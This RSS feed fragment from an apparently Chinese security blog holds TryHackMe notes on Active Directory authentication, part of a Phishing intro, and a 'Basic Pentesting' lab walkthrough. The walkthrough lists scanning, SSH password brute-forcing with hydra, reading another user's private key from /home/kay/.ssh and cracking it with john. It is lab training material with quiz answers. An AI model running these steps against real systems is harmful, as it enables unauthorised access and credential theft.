&lt;p&gt;If we try opening the Control Panel, we should get a message indicating this operation is denied by the administrator. You can also wait 5 minutes to check if the screen is automatically locked if you want.&lt;br&gt;如果我们尝试打开控制面板，我们应该收到一条消息，指示管理员拒绝此操作。如果需要，您也可以等待 5 分钟以检查屏幕是否自动锁定。&lt;/p&gt;
&lt;p&gt;Since we didn&amp;#39;t apply the control panel &lt;u&gt;GPO&lt;/u&gt; on IT, you should still be able to log into the machine as any of those users and access the control panel.&lt;br&gt;由于我们没有在 IT 上应用控制面板 GPO，因此您仍然应该能够以这些用户中的任何一个身份登录计算机并访问控制面板。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you created and linked the GPOs, but for some reason, they still don&amp;#39;t work, remember you can run &lt;strong&gt;gpupdate /force&lt;/strong&gt; to force GPOs to be updated.&lt;br&gt;注意：如果您创建并链接了 GPO，但由于某种原因，它们仍然不起作用，请记住，您可以运行 &lt;strong&gt;gpupdate /force&lt;/strong&gt; 以强制更新 GPO。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;What is the name of the network share used to distribute GPOs to domain machines?&lt;br&gt;用于将 GPO 分发到域计算机的网络共享的名称是什么？&lt;/p&gt;
&lt;p&gt;SYSVOL&lt;/p&gt;
&lt;p&gt;Can a GPO be used to apply settings to users and computers? (yay/nay)&lt;br&gt;是否可以使用 GPO 将设置应用于用户和计算机？（是/不是）&lt;br&gt;yay&lt;/p&gt;
&lt;h1&gt;Authentication Methods&lt;/h1&gt;
&lt;p&gt;When using Windows domains, all credentials are stored in the Domain Controllers. Whenever a user tries to authenticate to a service using domain credentials, the service will need to ask the Domain Controller to verify if they are correct. Two protocols can be used for network authentication in windows domains:&lt;br&gt;使用 Windows 域时，所有凭据都存储在域控制器中。每当用户尝试使用域凭据对服务进行身份验证时，该服务都需要要求域控制器验证它们是否正确。两种协议可用于 Windows 域中的网络身份验证：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;u&gt;Kerberos&lt;/u&gt;****:&lt;/strong&gt; Used by any recent version of Windows. This is the default protocol in any recent domain.&lt;br&gt;Kerberos：由任何最新版本的 Windows 使用。这是任何最近域中的默认协议。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NetNTLM:&lt;/strong&gt; Legacy authentication protocol kept for compatibility purposes.&lt;br&gt;NetNTLM：为兼容性目的而保留的旧式身份验证协议。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While NetNTLM should be considered obsolete, most networks will have both protocols enabled. Let&amp;#39;s take a deeper look at how each of these protocols works.&lt;br&gt;虽然 NetNTLM 应被视为过时，但大多数网络都将启用这两种协议。让我们更深入地了解这些协议中的每一个是如何工作的。&lt;/p&gt;
&lt;p&gt;&lt;u&gt;Kerberos&lt;/u&gt; Authentication Kerberos 身份验证&lt;/p&gt;
&lt;p&gt;&lt;u&gt;Kerberos&lt;/u&gt; authentication is the default authentication protocol for any recent version of Windows. Users who log into a service using &lt;u&gt;Kerberos&lt;/u&gt; will be assigned tickets. Think of tickets as proof of a previous authentication. Users with tickets can present them to a service to demonstrate they have already authenticated into the network before and are therefore enabled to use it.&lt;br&gt;Kerberos 身份验证是任何最新版本的 Windows 的默认身份验证协议。使用 Kerberos 登录服务的用户将获得票证。将票证视为先前身份验证的证明。拥有票证的用户可以将其呈现给服务，以证明他们之前已经对网络进行了身份验证，因此能够使用它。&lt;/p&gt;
&lt;p&gt;When &lt;u&gt;Kerberos&lt;/u&gt; is used for authentication, the following process happens:&lt;br&gt;当 Kerberos 用于身份验证时，将发生以下过程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The user sends their username and a timestamp encrypted using a key derived from their password to the &lt;strong&gt;Key Distribution Center (KDC)&lt;/strong&gt;, a service usually installed on the Domain Controller in charge of creating &lt;u&gt;Kerberos&lt;/u&gt; tickets on the network.&lt;br&gt;用户将其用户名和使用从其密码派生的密钥加密的时间戳发送到密钥分发中心 （KDC），该服务通常安装在负责在网络上创建 Kerberos 票证的域控制器上。The KDC will create and send back a &lt;strong&gt;Ticket Granting Ticket (&lt;strong&gt;&lt;strong&gt;&lt;u&gt;TGT&lt;/u&gt;&lt;/strong&gt;&lt;/strong&gt;)&lt;/strong&gt;, which will allow the user to request additional tickets to access specific services. The need for a ticket to get more tickets may sound a bit weird, but it allows users to request service tickets without passing their credentials every time they want to connect to a service. Along with the &lt;u&gt;TGT&lt;/u&gt;, a &lt;strong&gt;Session Key&lt;/strong&gt; is given to the user, which they will need to generate the following requests.&lt;br&gt;KDC 将创建并发回票证授予票证 （TGT），这将允许用户请求额外的票证以访问特定服务。需要票证才能获得更多票证可能听起来有点奇怪，但它允许用户在每次想要连接到服务时都无需传递其凭据即可请求服务票证。与 TGT 一起，将向用户提供会话密钥，他们需要该密钥来生成以下请求。Notice the &lt;u&gt;TGT&lt;/u&gt; is encrypted using the &lt;strong&gt;krbtgt&lt;/strong&gt; account&amp;#39;s password hash, and therefore the user can&amp;#39;t access its contents. It is essential to know that the encrypted &lt;u&gt;TGT&lt;/u&gt; includes a copy of the Session Key as part of its contents, and the KDC has no need to store the Session Key as it can recover a copy by decrypting the &lt;u&gt;TGT&lt;/u&gt; if needed.&lt;br&gt;请注意，TGT 是使用 krbtgt 帐户的密码哈希加密的，因此用户无法访问其内容。必须知道，加密的 TGT 包括会话密钥的副本作为其内容的一部分，并且 KDC 无需存储会话密钥，因为它可以在需要时通过解密 TGT 来恢复副本。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-25.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;When a user wants to connect to a service on the network like a share, website or database, they will use their &lt;u&gt;TGT&lt;/u&gt; to ask the KDC for a &lt;strong&gt;Ticket Granting Service (TGS)&lt;/strong&gt;. TGS are tickets that allow connection only to the specific service they were created for. To request a TGS, the user will send their username and a timestamp encrypted using the Session Key, along with the &lt;u&gt;TGT&lt;/u&gt; and a &lt;strong&gt;Service Principal Name (SPN),&lt;/strong&gt; which indicates the service and server name we intend to access.&lt;br&gt;当用户想要连接到网络上的服务（如共享、网站或数据库）时，他们将使用其 TGT 向 KDC 请求票证授予服务 （TGS）。TGS 是仅允许连接到为其创建的特定服务的票证。要请求 TGS，用户将发送其用户名和使用会话密钥加密的时间戳，以及 TGT 和服务主体名称 （SPN），该名称指示我们打算访问的服务和服务器名称。As a result, the KDC will send us a TGS along with a &lt;strong&gt;Service Session Key&lt;/strong&gt;, which we will need to authenticate to the service we want to access. The TGS is encrypted using a key derived from the &lt;strong&gt;Service Owner Hash&lt;/strong&gt;. The Service Owner is the user or machine account that the service runs under. The TGS contains a copy of the Service Session Key on its encrypted contents so that the Service Owner can access it by decrypting the TGS.&lt;br&gt;因此，KDC 将向我们发送一个 TGS 以及一个服务会话密钥，我们需要对要访问的服务进行身份验证。TGS 使用派生自服务所有者哈希的密钥进行加密。服务所有者是运行服务的用户或计算机帐户。TGS 在其加密内容上包含服务会话密钥的副本，以便服务所有者可以通过解密 TGS 来访问它。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-26.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;The TGS can then be sent to the desired service to authenticate and establish a connection. The service will use its configured account&amp;#39;s password hash to decrypt the TGS and validate the Service Session Key.&lt;br&gt;然后，可以将 TGS 发送到所需的服务以进行身份验证并建立连接。该服务将使用其配置的帐户的密码哈希来解密 TGS 并验证服务会话密钥。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-27.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;NetNTLM Authentication NetNTLM 身份验证&lt;/p&gt;
&lt;p&gt;NetNTLM works using a challenge-response mechanism. The entire process is as follows:&lt;br&gt;NetNTLM 使用质询-响应机制工作。整个过程如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-28.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The client sends an authentication request to the server they want to access.&lt;br&gt;客户端向要访问的服务器发送身份验证请求。&lt;/li&gt;
&lt;li&gt;The server generates a random number and sends it as a challenge to the client.&lt;br&gt;服务器生成一个随机数，并将其作为质询发送给客户端。&lt;/li&gt;
&lt;li&gt;The client combines their &lt;u&gt;NTLM&lt;/u&gt; password hash with the challenge (and other known data) to generate a response to the challenge and sends it back to the server for verification.&lt;br&gt;客户端将其 NTLM 密码哈希与质询（和其他已知数据）相结合，以生成对质询的响应，并将其发送回服务器进行验证。&lt;/li&gt;
&lt;li&gt;The server forwards the challenge and the response to the Domain Controller for verification.&lt;br&gt;服务器将质询和响应转发到域控制器进行验证。&lt;/li&gt;
&lt;li&gt;The domain controller uses the challenge to recalculate the response and compares it to the original response sent by the client. If they both match, the client is authenticated; otherwise, access is denied. The authentication result is sent back to the server.&lt;br&gt;域控制器使用质询重新计算响应，并将其与客户端发送的原始响应进行比较。如果它们都匹配，则对客户端进行身份验证;否则，访问将被拒绝。身份验证结果将发送回服务器。&lt;/li&gt;
&lt;li&gt;The server forwards the authentication result to the client.&lt;br&gt;服务器将身份验证结果转发给客户端。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Note that the user&amp;#39;s password (or hash) is never transmitted through the network for security.&lt;br&gt;请注意，为了安全起见，用户的密码（或哈希值）绝不会通过网络传输。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The described process applies when using a domain account. If a local account is used, the server can verify the response to the challenge itself without requiring interaction with the domain controller since it has the password hash stored locally on its SAM.&lt;br&gt;注意：所述过程适用于使用域帐户。如果使用本地帐户，则服务器可以验证对质询本身的响应，而无需与域控制器进行交互，因为它的密码哈希存储在其 SAM 上。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Will a current version of Windows use NetNTLM as the preferred authentication protocol by default? (yay/nay)&lt;br&gt;默认情况下，当前版本的 Windows 是否使用 NetNTLM 作为首选身份验证协议？（是/不是）&lt;/p&gt;
&lt;p&gt;nay&lt;/p&gt;
&lt;p&gt;When referring to Kerberos, what type of ticket allows us to request further tickets known as TGS?&lt;br&gt;在提到 Kerberos 时，哪种类型的票证允许我们请求更多称为 TGS 的票证？&lt;/p&gt;
&lt;p&gt;Ticket Granting Ticket&lt;/p&gt;
&lt;p&gt;When using NetNTLM, is a user&amp;#39;s password transmitted over the network at any point? (yay/nay)&lt;br&gt;使用 NetNTLM 时，用户的密码是否随时通过网络传输？（是/不是）&lt;/p&gt;
&lt;p&gt;nay&lt;/p&gt;
&lt;h1&gt;Trees, Forests and Trusts&lt;/h1&gt;
&lt;p&gt;So far, we have discussed how to manage a single domain, the role of a Domain Controller and how it joins computers, servers and users.&lt;br&gt;到目前为止，我们已经讨论了如何管理单个域、域控制器的角色以及它如何加入计算机、服务器和用户。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-29.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;As companies grow, so do their networks. Having a single domain for a company is good enough to start, but in time some additional needs might push you into having more than one.&lt;br&gt;随着公司的发展，他们的网络也在发展。为一家公司拥有一个域名就足够了，但随着时间的推移，一些额外的需求可能会促使您拥有多个域名。&lt;/p&gt;
&lt;p&gt;Trees 树&lt;/p&gt;
&lt;p&gt;Imagine, for example, that suddenly your company expands to a new country. The new country has different laws and regulations that require you to update your GPOs to comply. In addition, you now have IT people in both countries, and each IT team needs to manage the resources that correspond to each country without interfering with the other team. While you could create a complex &lt;u&gt;OU&lt;/u&gt; structure and use delegations to achieve this, having a huge &lt;u&gt;AD&lt;/u&gt; structure might be hard to manage and prone to human errors.&lt;br&gt;例如，想象一下，您的公司突然扩展到一个新的国家。新国家/地区有不同的法律和法规，要求您更新 GPO 以遵守。此外，您现在在两个国家/地区都有 IT 人员，每个 IT 团队都需要在不干扰其他团队的情况下管理与每个国家/地区相对应的资源。虽然您可以创建复杂的 OU 结构并使用委派来实现此目的，但拥有庞大的 AD 结构可能难以管理并且容易出现人为错误。&lt;/p&gt;
&lt;p&gt;Luckily for us, Active Directory supports integrating multiple domains so that you can partition your network into units that can be managed independently. If you have two domains that share the same namespace (&lt;strong&gt;thm.local&lt;/strong&gt; in our example), those domains can be joined into a &lt;strong&gt;Tree&lt;/strong&gt;.&lt;br&gt;幸运的是，Active Directory 支持集成多个域，以便您可以将网络划分为可以独立管理的单元。如果您有两个共享相同命名空间的域（在我们的示例 &lt;strong&gt;thm.local&lt;/strong&gt; 中），则可以将这些域联接到树中。&lt;/p&gt;
&lt;p&gt;If our &lt;strong&gt;thm.local&lt;/strong&gt; domain was split into two subdomains for UK and US branches, you could build a tree with a root domain of &lt;strong&gt;thm.local&lt;/strong&gt; and two subdomains called &lt;strong&gt;uk.thm.local&lt;/strong&gt; and &lt;strong&gt;us.thm.local&lt;/strong&gt;, each with its &lt;u&gt;AD&lt;/u&gt;, computers and users:&lt;br&gt;如果我们的 &lt;strong&gt;thm.local&lt;/strong&gt; 域被拆分为两个子域，用于英国和美国分支，您可以构建一个树，其根域为 和 &lt;strong&gt;thm.local&lt;/strong&gt; 两个子 &lt;strong&gt;uk.thm.local&lt;/strong&gt; 域，称为 和 &lt;strong&gt;us.thm.local&lt;/strong&gt; ，每个子域都有其 AD、计算机和用户：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-30.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This partitioned structure gives us better control over who can access what in the domain. The IT people from the UK will have their own DC that manages the UK resources only. For example, a UK user would not be able to manage US users. In that way, the Domain Administrators of each branch will have complete control over their respective DCs, but not other branches&amp;#39; DCs. Policies can also be configured independently for each domain in the tree.&lt;br&gt;这种分区结构使我们能够更好地控制谁可以访问域中的内容。来自英国的 IT 人员将拥有自己的 DC，仅管理英国资源。例如，英国用户将无法管理美国用户。这样，每个分支的域管理员将完全控制各自的 DC，但不能完全控制其他分支的 DC。&lt;/p&gt;
&lt;p&gt;A new security group needs to be introduced when talking about trees and forests. The &lt;strong&gt;Enterprise Admins&lt;/strong&gt; group will grant a user administrative privileges over all of an enterprise&amp;#39;s domains. Each domain would still have its Domain Admins with administrator privileges over their single domains and the Enterprise Admins who can control everything in the enterprise.&lt;br&gt;在谈论树木和森林时，需要引入一个新的安全组。Enterprise Admins 组将授予用户对企业所有域的管理权限。每个域仍将拥有其域管理员，这些域管理员对其单个域具有管理员权限，以及可以控制企业中所有内容的企业管理员。  &lt;/p&gt;
&lt;p&gt;Forests 森林&lt;/p&gt;
&lt;p&gt;The domains you manage can also be configured in different namespaces. Suppose your company continues growing and eventually acquires another company called &lt;strong&gt;MHT Inc.&lt;/strong&gt; When both companies merge, you will probably have different domain trees for each company, each managed by its own IT department. The union of several trees with different namespaces into the same network is known as a &lt;strong&gt;forest&lt;/strong&gt;.&lt;br&gt;您管理的域也可以在不同的命名空间中配置。假设您的公司继续发展并最终收购了另一家名为 &lt;strong&gt;MHT Inc.&lt;/strong&gt; 当两家公司合并时，您可能为每家公司拥有不同的域树，每个域树都由自己的 IT 部门管理。将具有不同命名空间的多个树合并到同一网络中称为林。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-31.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Trust Relationships 信任关系&lt;/p&gt;
&lt;p&gt;Having multiple domains organised in trees and forest allows you to have a nice compartmentalised network in terms of management and resources. But at a certain point, a user at &lt;u&gt;THM&lt;/u&gt; UK might need to access a shared file in one of MHT ASIA servers. For this to happen, domains arranged in trees and forests are joined together by &lt;strong&gt;trust relationships&lt;/strong&gt;.&lt;br&gt;在树木和森林中组织多个域可以让您在管理和资源方面拥有一个很好的分隔网络。但是在某个时候，THM UK的用户可能需要访问MHT ASIA服务器之一中的共享文件。为此，在树和森林中排列的域通过信任关系连接在一起。&lt;/p&gt;
&lt;p&gt;In simple terms, having a trust relationship between domains allows you to authorise a user from domain &lt;strong&gt;&lt;u&gt;THM&lt;/u&gt;&lt;/strong&gt;** &lt;strong&gt;&lt;strong&gt;UK&lt;/strong&gt; to access resources from domain &lt;strong&gt;MHT EU&lt;/strong&gt;.&lt;br&gt;简单来说，在域之间建立信任关系允许您授权域 &lt;strong&gt;&lt;u&gt;THM&lt;/u&gt;&lt;/strong&gt;&lt;/strong&gt; **&lt;strong&gt;UK&lt;/strong&gt; 中的用户访问域 &lt;strong&gt;MHT EU&lt;/strong&gt; 中的资源。&lt;/p&gt;
&lt;p&gt;The simplest trust relationship that can be established is a &lt;strong&gt;one-way trust relationship&lt;/strong&gt;. In a one-way trust, if &lt;strong&gt;Domain AAA&lt;/strong&gt; trusts &lt;strong&gt;Domain BBB&lt;/strong&gt;, this means that a user on BBB can be authorised to access resources on AAA:&lt;br&gt;可以建立的最简单的信任关系是单向信任关系。在单向信任中，如果 &lt;strong&gt;Domain AAA&lt;/strong&gt; 信任 &lt;strong&gt;Domain BBB&lt;/strong&gt; ，这意味着 BBB 上的用户可以被授权访问 AAA 上的资源：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Active%20Directory%20Basics-32.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The direction of the one-way trust relationship is contrary to that of the access direction.&lt;br&gt;单向信任关系的方向与接入方向的方向相反。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Two-way trust relationships&lt;/strong&gt; can also be made to allow both domains to mutually authorise users from the other. By default, joining several domains under a tree or a forest will form a two-way trust relationship.&lt;br&gt;还可以建立双向信任关系，以允许两个域相互授权另一个域的用户。默认情况下，在树或林下联接多个域将形成双向信任关系。&lt;/p&gt;
&lt;p&gt;It is important to note that having a trust relationship between domains doesn&amp;#39;t automatically grant access to all resources on other domains. Once a trust relationship is established, you have the chance to authorise users across different domains, but it&amp;#39;s up to you what is actually authorised or not.&lt;br&gt;请务必注意，在域之间建立信任关系不会自动授予对其他域上所有资源的访问权限。建立信任关系后，您就有机会跨不同域授权用户，但实际授权或未授权取决于您。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;What is a group of Windows domains that share the same namespace called?&lt;br&gt;共享同一命名空间的一组 Windows 域叫什么？&lt;/p&gt;
&lt;p&gt;tree&lt;/p&gt;
&lt;p&gt;What should be configured between two domains for a user in Domain A to access a resource in Domain B?&lt;br&gt;域 A 中的用户在两个域之间应配置什么才能访问域 B 中的资源？&lt;/p&gt;
&lt;p&gt;Trust Relationships&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-active-directory-basics/&quot;&gt;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-active-directory-basics/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 06 Apr 2024 00:00:00 GMT</pubDate></item><item><title>TryHackMe-Basic Pentesting</title><link>https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-basic-pentesting/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-basic-pentesting/</guid><description>Basic Computer Exploitation</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;使用nmap进行端口扫描&lt;/p&gt;
&lt;p&gt;nmap -sC -sV 10.10.98.83&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;使用gobuster查找Web 服务器的隐藏目录：&lt;/p&gt;
&lt;p&gt;gobuster dir -u 10.10.98.83 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;接下来我们获取目标机用户名：&lt;/p&gt;
&lt;p&gt;Enum4Linux 的语法非常简单：enum4linux [options] ip&lt;/p&gt;
&lt;p&gt;Enum4linux的常用参数选项：&lt;/p&gt;
&lt;p&gt;TAG            FUNCTION&lt;/p&gt;
&lt;p&gt;-U             get userlist  获取用户名单&lt;/p&gt;
&lt;p&gt;-M             get machine list  获取机器名单&lt;/p&gt;
&lt;p&gt;-N             get namelist dump (different from -U and-M)  获取名单转储信息&lt;/p&gt;
&lt;p&gt;-S             get sharelist 获取共享列表&lt;/p&gt;
&lt;p&gt;-P             get password policy information 获取密码策略信息&lt;/p&gt;
&lt;p&gt;-G             get group and member list 获得组和成员名单&lt;/p&gt;
&lt;p&gt;-a             all of the above (full basic enumeration) 以上所有(执行一个完整的基本SMB枚举)&lt;/p&gt;
&lt;p&gt;enum4linux 10.10.98.83&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;获取ssh连接的密码： &lt;/p&gt;
&lt;p&gt;hydra -l jan -P rockyou.txt 10.10.98.83 -t 4 ssh&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt; 接下来就是连接ssh了&lt;/p&gt;
&lt;p&gt;ssh &lt;a href=&quot;mailto:jan@10.10.98.83&quot;&gt;jan@10.10.98.83&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;密码：armando&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;查看敏感文件 &lt;/p&gt;
&lt;p&gt;cd /home&lt;/p&gt;
&lt;p&gt; &lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;ls -la&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;ls -la /home/kay&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;ls -la /home/kay/.ssh&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-10.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;cat /home/kay/.ssh/id_rsa&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-11.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;拿到密钥之后&lt;/p&gt;
&lt;p&gt;我们在攻击机破解一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-12.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;python3 /opt/john/ssh2john.py id_rsa&amp;gt;hash.txt&lt;/p&gt;
&lt;p&gt;john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-13.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt; 我们先让id_rsa有可执行权限&lt;/p&gt;
&lt;p&gt;chmod 600 id_rs&lt;/p&gt;
&lt;p&gt;连接kay &lt;/p&gt;
&lt;p&gt;ssh -i id_rsa &lt;a href=&quot;mailto:kay@10.10.98.83&quot;&gt;kay@10.10.98.83&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-14.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-15.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;答题： &lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-16.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Basic%20Pentesting-17.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-basic-pentesting/&quot;&gt;https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-basic-pentesting/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 06 Apr 2024 00:00:00 GMT</pubDate></item><item><title>TryHackMe-Phishing</title><link>https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-phishing/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/tryhackme/tryhackme-phishing/</guid><description>Red Teaming</description><content:encoded>&lt;h1&gt;Brief&lt;/h1&gt;
&lt;p&gt;This room will take you through what phishing is, how it&amp;#39;s performed, some valuable tools and why it&amp;#39;s an essential part of a Red Team engagement.&lt;br&gt;这个房间将带您了解什么是网络钓鱼、它是如何执行的、一些有价值的工具以及为什么它是红队参与的重要组成部分。&lt;/p&gt;
&lt;p&gt;Now it&amp;#39;s time to move to the next task and receive your &lt;strong&gt;Intro to&lt;/strong&gt;** &lt;strong&gt;&lt;strong&gt;&lt;u&gt;Phishing&lt;/u&gt;&lt;/strong&gt;&lt;/strong&gt;!**&lt;br&gt;现在是时候进入下一个任务并接收您的网络钓鱼简介了！&lt;/p&gt;
&lt;h2&gt;Answer the questions below&lt;/h2&gt;
&lt;p&gt;回答以下问题
I&amp;#39;m ready to learn!&lt;br&gt;我准备好学习了！&lt;/p&gt;
&lt;h1&gt;Intro To Phishing Attacks&lt;/h1&gt;
&lt;p&gt;Before you learn what phishing is, you&amp;#39;ll need to understand the term social engineering. Social engineering is the psychological manipulation of people into performing or divulging information by exploiting weaknesses in human nature. These &amp;quot;weaknesses&amp;quot; can be curiosity, jealously, greed and even kindness and the willingness to help someone. &lt;u&gt;Phishing&lt;/u&gt; is a source of social engineering delivered through email to trick someone into either revealing personal information, credentials or even executing malicious code on their computer.&lt;br&gt;在了解什么是网络钓鱼之前，您需要了解“社会工程”一词。社会工程是通过利用人性的弱点来对人们进行心理操纵，使其执行或泄露信息。这些“弱点”可以是好奇心、嫉妒、贪婪，甚至是善良和帮助某人的意愿。网络钓鱼是通过电子邮件传递的社会工程的来源，旨在诱骗某人泄露个人信息、凭据，甚至在他们的计算机上执行恶意代码。  &lt;/p&gt;
&lt;p&gt;These emails will usually appear to come from a trusted source, whether that&amp;#39;s a person or a business. They include content that tries to tempt or trick people into downloading software, opening attachments, or following links to a bogus website.&lt;br&gt;这些电子邮件通常看起来来自受信任的来源，无论是个人还是企业。它们包括试图引诱或诱骗人们下载软件、打开附件或点击虚假网站链接的内容。&lt;/p&gt;
